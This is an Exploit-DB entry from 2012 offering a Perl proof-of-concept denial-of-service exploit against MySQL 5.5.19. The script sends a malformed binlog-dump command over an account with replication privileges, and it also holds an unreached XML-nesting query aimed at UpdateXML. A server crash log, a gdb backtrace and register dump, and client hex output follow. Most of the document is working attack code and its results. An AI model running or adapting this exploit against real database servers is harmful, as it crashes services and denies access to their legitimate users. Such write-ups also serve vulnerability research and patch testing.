Exploit-DB #23078
Description: MySQL - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2012-12-02
Author: kingcope

Exploit:
5.5.19-log on SuSE Linux

DoS exploit:
--------------------------------------------------------------------------------------------------------
use Net::MySQL;
use Unicode::UTF8 qw[decode_utf8 encode_utf8];

$|=1;
	    	  
  my $mysql = Net::MySQL->new(
      hostname => '192.168.2.3',   # Default use UNIX socket
      database => 'test',
      user     => "monty",
      password => "python",
      debug => 1,
  );
  
  $mysql->_execute_command("\x12", "\x00\x00\x00\x00 foo");
  exit;
  
  for ($k=0;$k<50000;$k++) {
  	  $a .="<A$k>";
  }
  for ($k=0;$k<50000;$k++) {
  	  $a .="</A$k>";
  }  
  
# SELECT example
  $mysql->query("SELECT UpdateXML('<a>$a<b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1");
  
  my $record_set = $mysql->create_record_iterator;
  while (my $record = $record_set->each) {
      printf "First column: %s Next column: %s\n",
          $record->[0], $record->[1];
  }
  $mysql->close;
  

Crash Log:
--------------------------------------------------------------------------------------------------------
started:
/usr/local/mysql/bin/mysqld --log=/tmp/mysql55.log --user=mysql --log-bin=/tmp/logbin2 &
  
120108 12:55:28 - mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.

key_buffer_size=16777216
read_buffer_size=262144
max_used_connections=1
max_threads=151
thread_count=1
connection_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 133453 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x8e6fa48
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0xa868b35c thread_stack 0x30000
/usr/local/mysql/bin/mysqld(my_print_stacktrace+0x33)[0x83b0f63]
/usr/local/mysql/bin/mysqld(handle_segfault+0x4bc)[0x813c59c]
[0xffffe400]
/usr/local/mysql/bin/mysqld(_Z16dispatch_command19enum_server_commandP3THDPcj+0x11b4)[0x81b09e4]
/usr/local/mysql/bin/mysqld(_Z10do_commandP3THD+0xbc)[0x81b13ac]
/usr/local/mysql/bin/mysqld(_Z24do_handle_one_connectionP3THD+0x183)[0x823eb63]
/usr/local/mysql/bin/mysqld(handle_one_connection+0x3c)[0x823ebbc]
/lib/libpthread.so.0(+0x5b05)[0xb771cb05]
/lib/libc.so.6(clone+0x5e)[0xb74e7d5e]

Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query ((nil)): is an invalid pointer
Connection ID (thread ID): 12
Status: NOT_KILLED

The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains
information that should help you find out what is causing the crash.

Version: '5.5.19-log'  socket: '/var/run/mysql/mysql.sock'  port: 3306  Source distribution
[New Thread 0xa8f1db70 (LWP 7907)]
120108 13:01:51 [Warning] IP address '192.168.2.150' could not be resolved: Name or service not known
120108 13:01:51 [Note] Start binlog_dump to slave_server(65), pos(,[PII_REDACTED])

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa8f1db70 (LWP 7907)]
mysql_binlog_send (thd=0x8e6fb28, log_ident=0x8eb57a8 "", pos=<value optimized out>, flags=65535) at /root/mysql-5.5.19/sql/sql_repl.cc:1043
1043                    log_file_name, (llstr(my_b_tell(&log), llbuff2), llbuff2));
(gdb) x/10i $eip
=> 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>:   mov    0x8(%ecx),%edx
   0x81bf54d <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1373>:   mov    0x4(%ecx),%eax
   0x81bf550 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1376>:   mov    %edx,0x4(%esp)
   0x81bf554 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1380>:   mov    %eax,(%esp)
   0x81bf557 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1383>:   call   0x8541560 <llstr>
   0x81bf55c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1388>:   mov    -0x9b0(%ebp),%edx
   0x81bf562 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1394>:   lea    -0x590(%ebp),%eax
   0x81bf568 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1400>:   mov    %edi,0x1c(%esp)
   0x81bf56c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1404>:   lea    -0x990(%ebp),%edi
   0x81bf572 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1410>:   mov    %eax,0x18(%esp)
(gdb) i r
eax            0xa8f1c804       [PII_REDACTED]
ecx            0x0      0
edx            0xa8f1c805       [PII_REDACTED]
ebx            0x8e821e0        149430752
esp            0xa8f1be50       0xa8f1be50
ebp            0xa8f1c868       0xa8f1c868
esi            0xa8f1c81a       [PII_REDACTED]
edi            0xa8f1c804       [PII_REDACTED]
eip            0x81bf54a        0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>
eflags         0x210282 [ SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

unprivileged user (REPLICATION_SLAVE privs needed to trigger the bug):
--------------------------------------------------------------------------------------------------------
C:\Users\kingcope\Desktop>perl mysql.pl
Use INET Socket: 192.168.2.3 3306/tcp
Net::MySQL::_get_server_information():
4E 00 00 00 0A 35 2E 35 2E 31 39 2D 6C 6F 67 00  N....5.5.19-log.
01 00 00 00 59 4C 50 2C 29 28 2E 4F 00 FF F7 08  ....YLP,)(.O....
02 00 0F 80 15 00 00 00 00 00 00 00 00 00 00 22  ................
59 7C 24 3A 36 40 21 22 26 38 29 00 6D 79 73 71  Y...6....8).mysq
6C 5F 6E 61 74 69 76 65 5F 70 61 73 73 77 6F 72  l_native_passwor
64